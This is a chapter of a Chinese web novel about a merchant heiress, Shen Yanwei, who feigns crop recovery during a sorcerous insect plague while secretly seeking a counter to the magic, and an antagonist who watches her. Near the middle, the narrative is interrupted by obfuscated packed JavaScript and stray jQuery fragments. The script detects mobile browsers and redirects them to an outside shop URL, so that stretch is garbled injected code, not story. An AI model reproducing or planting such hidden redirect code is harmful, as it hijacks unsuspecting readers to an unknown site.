席卷山野的虫潮,毫无征兆地停下了侵略的脚步。
前一日还在疯狂啃噬田垄,势不可挡的亿万青虫,一夜之间不再向外推进。它们盘踞在已经侵占的土地之上,不再大举冲击育苗园与残存的示范田,只在已毁坏的田地之间来回游走。
山野之中那令人头皮发麻的沙沙声响,微弱了许多。
突如其来的平静,让所有身处灾荒之中的人心头茫然。
各村值守的农户握着农具,警惕地盯着田埂对面黑压压的虫群,迟迟等不到预想之中的新一轮猛攻。不少人暗自庆幸,只当是这场可怕的虫害终于走到了尽头,苦难即将过去。
消息不断送入总栈,议事厅内,不少管事脸上露出劫后余生的松弛。
“虫潮停下了!难不成这场灾祸,就要这样自行褪去?”
“趁着如今虫子不再进犯,我们可以重新修整田地,再次熬制药汁,一点点把失去的花田夺回来!”
众人议论纷纷,大多沉浸在短暂安宁带来的喜悦之中,已经开始规划灾后恢复耕种的事宜。
唯有沈砚微心中没有半分侥幸。
她清楚地知道,虫灾从来就不是自然形成。
幕后之人既然能够随心所欲催动虫潮肆虐山野,自然也可以随意将攻势按下。如今骤然收束力量,绝非力竭而退,更不是灾祸消散,而是一场刻意营造出来的假象。
对方是故意留出一段喘息空隙。
是要看她在这短暂安宁里如何奔走布局,再找准最致命的一刻,给予毁灭性的一击。
沈砚微压下心底沉甸甸的戒备,面上顺着众人的话音,做出准备灾后重建的姿态。
“传令各村,做好田地清理,小规模试播少量香草种子,对外宣扬我们准备慢慢恢复种植。只是所有行动不必操之过急,一切循序渐进。”
一道道指令层层传递至山野村落。
农户们欢欣鼓舞,拿起锄头清理被虫群损毁的田地,焚烧腐烂的残苗,翻耕泥土,一副全力准备重启种植的模样。
可热闹的表象之下,沈砚微早已另有安排。
公开的救灾、复耕只是演给幕后之人看的戏码。真正要紧的事,一刻也没有耽搁。
监视荒谷的暗探依旧潜伏在山林外围,日夜不停记录山谷之中灵气起伏的变化,不敢有片刻松懈。
与此同时,她派出数批心腹,乔装成游历的客商与寻访草药的医者,奔赴四方各州。
此行目的不再是采购应急香料,也不是寻找驱虫草木。
而是四处寻访古籍、隐世老者,打探能够抗衡、阻隔奇异灵力的器物或是古法。
既然对方依仗灵力操控虫群,寻常草木、人力永远无法与之抗衡。想要破局,必须找到能够抵御术法力量的办法。
这件事必须极度隐秘,不能留下一丝线索,被荒谷之中那人察觉。
临行之前,沈砚微再三叮嘱每一队外出之人,不可暴露八城沈家的身份,不可与人谈起虫灾异象,只以寻访失传古方作为借口,游走各州。
一批又一批人马悄悄离开八城,朝着四面八方散去,去寻觅那一线渺茫的转机。
日子一天天缓缓流淌。
外面局势看起来越来越安稳。
街市之上,百姓渐渐放下恐慌,香品售卖重回平稳。一部分此前彻底断绝合作的域外分销商,听闻虫害似乎正在好转,又送来信函,试探着想要重新恢复供货。
沈砚微依着此前定下的策略,选择性恢复少数几家素来守信商号的合作,维持域外市场基本存在感,却并不投入过多银钱扩张。
工坊依旧依靠外购香料缓慢运转,高端定制香礼源源不断交付世家权贵,换来丰厚酬劳,一点点补足日渐空虚的府库,尽可能拉长能够支撑的时间。
一切在外人眼中,都在向着好的方向缓缓前行。
只有沈砚微与极少数心腹清楚,这份平静如同悬在头顶的利刃,不知道何时便会骤然坠落。
深夜的书房之中,烛火长明。
桌上铺满各州送来的书信与零星古籍摘抄。
数日寻访下来,线索寥寥。
大部分传闻之中能够抵御异术的法子,要么只是民间虚无缥缈的传说,要么材料早已绝迹世间,根本无处寻觅。
一次次满怀期待拆开密信,又一次次陷入失望。
前路依旧一片渺茫。
苏梧立于一旁,眉头紧锁。
“小姐,已经派出五队人马去往周边数州,可至今依旧没有找到可靠的办法。若是一直查不到克制灵力之法,等到幕后之人再次发动攻势,我们依旧只能被动承受。”
沈砚微指尖轻轻抚过泛黄的书页,神色沉静。
“急不得。对方已经给了这一段空隙,我们就要抓住每一日去寻找机会。就算希望渺茫,也绝不能坐以待毙。”
她并未因为接连的失败心生焦躁,依旧有条不紊调度各方人手,扩大寻访范围,去往更远的州郡搜集古老记载。
平静之下,暗流从未停止涌动。
潜伏在荒谷外围的暗探,陆续传回情报。
荒谷之内依旧时常有淡淡的灵气缓缓散开,只是不再像之前那般汹涌狂暴。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17843019|211681||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>幕后之人似乎真的在耐心观望,静静看着八城之内的一举一动,看着他们清理田地、筹备复耕,看着商盟一点点恢复表面生机。
可越是这样,沈砚微越是不敢放松警惕。
她推测,对方极有可能在等待一件事。
等待他们种下新一批香草幼苗。
等到大片嫩苗重新铺满山野,再一次掀起更为恐怖的虫潮,将所有人好不容易燃起的希望,彻彻底底碾得粉碎。
那将会是比第一次虫灾更加致命的打击。
一旦农户耗费心力种下的青苗再度一夜被毁,人心会彻底崩溃,再也不可能重新聚拢。
想通这一层,沈砚微立刻暗中传信给山野管事。
对外依旧大肆宣扬要大面积播种香草。
实际只在靠近村落、极易被监视到的小块田地,稀稀疏疏种下少量幼苗做做样子。山野深处大片土地,只翻耕土地,绝不真正播下种子。
用一场精心编织的假象,迷惑荒谷之中那双暗中窥视的眼睛。
夜色漫过连绵群山,云雾笼罩幽深荒谷。
千里云海之上,江叙白漠然俯瞰下方凡尘。
他将沈砚微近日所有举动尽收眼底。
看见八城之中看似热火朝天筹备复耕,看见一队队不起眼的陌生人,悄悄离开城池去往远方各州。
他一眼便看穿了那层伪装。
所谓恢复耕种只是演戏,那些外出之人,分明是四处奔走,寻找能够对抗自己的办法。
江叙白唇角勾起一丝极淡的弧度。
倒是比他预想之中更加冷静坚韧。
明明身陷绝境,得到一丝喘息,非但没有盲目抓紧时机重建产业,反倒隐忍布局,四处寻找可以反击的机会。
有趣,却也天真。
凡尘之间,想要寻出能够制衡他灵力的手段,何其艰难。
他并不打算此刻便撕破这份平静。
不妨再多陪她耗上一段时日。
任由她四处奔走,倾尽心力去寻找那虚无缥缈的破局之法。等到她自以为寻到出路,做好一切反击准备之时,再亲手击碎她全部筹谋。
荒谷之中若有若无的灵力,依旧淡淡弥散,没有半分爆发的迹象。
山野田垄之上,零星的幼苗在晚风之中轻轻晃动,演着一场看似充满希望的戏。
八城之内,工坊昼夜不息维持运转,一封封密信送往遥远各州,无数线索正在被一点点搜集拼凑。
没有刀光,没有虫啸。
一场智谋与耐心的漫长拉锯,正在安静之中悄然走向高潮。